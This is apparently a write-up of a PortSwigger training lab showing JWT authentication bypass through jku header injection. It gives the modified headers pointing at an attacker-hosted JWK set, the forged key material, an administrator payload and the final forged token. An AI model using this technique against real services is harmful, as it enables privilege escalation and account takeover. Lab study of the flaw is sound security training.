> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md).
# JWT Authentication Bypass via JKU Parameter Injection
JWT Authentication Bypass via JKU Parameter Injection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### JWT Authentication Bypass via JKU Header Injection
**Lab Background**
This lab uses a JWT-based session management mechanism. / The server supports the **jku** parameter in the header of the JWT, which indicates the URL from which to retrieve the public key (JWK) used to verify the signature.
Vulnerability is due to the fact that the **server does not check whether the URL provided in `jku` belongs to a trusted domain**. It is therefore possible to force the server to recover a public key controlled by the attacker.
Objective:
* Forger a JWT allowing access to `/admin` administration panel
* Delete user **carlos**
Identifier provided:
* `wiener : peter`
**JWT initial**
A valid JWT is recovered after authentication with `wiener` user:
{% code overflow="wrap" %}
```bash
eyJraWQiOiJhMjZmNDUwYy1lOWRjLTRlZTUtODRjOC1lYWQxNWNmNDE2NjkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODI3OSwic3ViIjoid2llbmVyIn0.QdpQA5ISeH9BS1JttLfm9VCOWA28H6-RDgCV59L5KVr3B8qLBXtt6DgQ32eW6mlKldZ8ZWhufcaPEsReqERGdhvgAWrQhruF7awvsGceHFQgxxBqcW3Yd3urPIZzl-S_EdIVaUwxgLkOv9acYUG1h9GJqgSFIyAjB8JuxQSHSHItzJSTHVMNQ9ffYDOb3fOQW64_LQko2rWUZLRhkG1-JTX3xYA03FOlvbVC4BfXKCBWV-dlrQaeFV8JgrMr-uDKhnJuzD34xFfjav0SXPedTRwMLhnThyFJJzx5OZwSnTUEuqlnipndHvjOhxYX-0OVbqpONwRrd41buEK1EI_HqA
```
{% endcode %}
**Change of the JWT header**
The attack is to add the **jku** parameter to the header to indicate a public URL hosted on the Exploit Server, which will serve as a controlled JWK key.
Header modified:
```json
{
"kid": "a26f450c-e9dc-4ee5-84c8-ead15cf41669",
"alg": "RS256",
"jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net"
}
```
**Generation of a pair of RSA keys**
A new pair of RSA keys is generated on the attacking side.
The public key is converted to JWK format to be served by the Exploit Server.
Public JWK content:
```json
{
"kty": "RSA",
"e": "AQAB",
"kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
"n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
```
**Accommodation of JWK on the Exploit Server**
The JWK is displayed as a set of keys, as expected by the target server:
```json
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
"n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
]
}
```
**JWT Final Header**
The **kid** field is updated to match that of the hosted JWK, and the **jku** points to the exact URL of the exposed file:
```json
{
"kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
"alg": "RS256",
"jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net/exploit"
}
```
**Signature and Privilege Escalation**
The JWT is signed with the **private key** corresponding to the public key displayed.
The payload is modified to usurp an administrator user:
```json
{
"iss": "portswigger",
"exp": 1767548841,
"sub": "administrator"
}
```
JWT final :
```bash
eyJraWQiOiIwZDYxOWI5OC1iNGE2LTQyNTItOWQzZS1mMzcwNTQzMzYzNGIiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWUxMDA1MDA0NmJkNTIwODFkNWI2ODMwMWNhMDBiZS5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODg0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.QWCX9x4q3baQllVGwrVewi5-lPXFEvLltEn9hm3mwSz4XjDbBXABtUL5bB5bUL4_kE1tQrbgG5JFwsHocV6pew8hvm3mZ-0yspsr7bc-qD7RYBU8jecC2wX2R8TflGtKgIKf9KwWPLxRDWkYPOBIbwhSp5HTAbe9Ns4ZZVUz7_nIcypKHyJBOSXSCLHQI7HUrkll3ekHiR9a-n7gSeVkJ3-qnrMBDibasazlChaoxVaLRQGsFrEX7xFKA1eYYM1SxnhfHSO6Q-txUmdOtzAMEdlsSAOPIyJ5aRvIkSDBwHNzl8ouEl5c-qEjmEfShgUuNY6HIERn96HRIj5xGQgIGg
```
---
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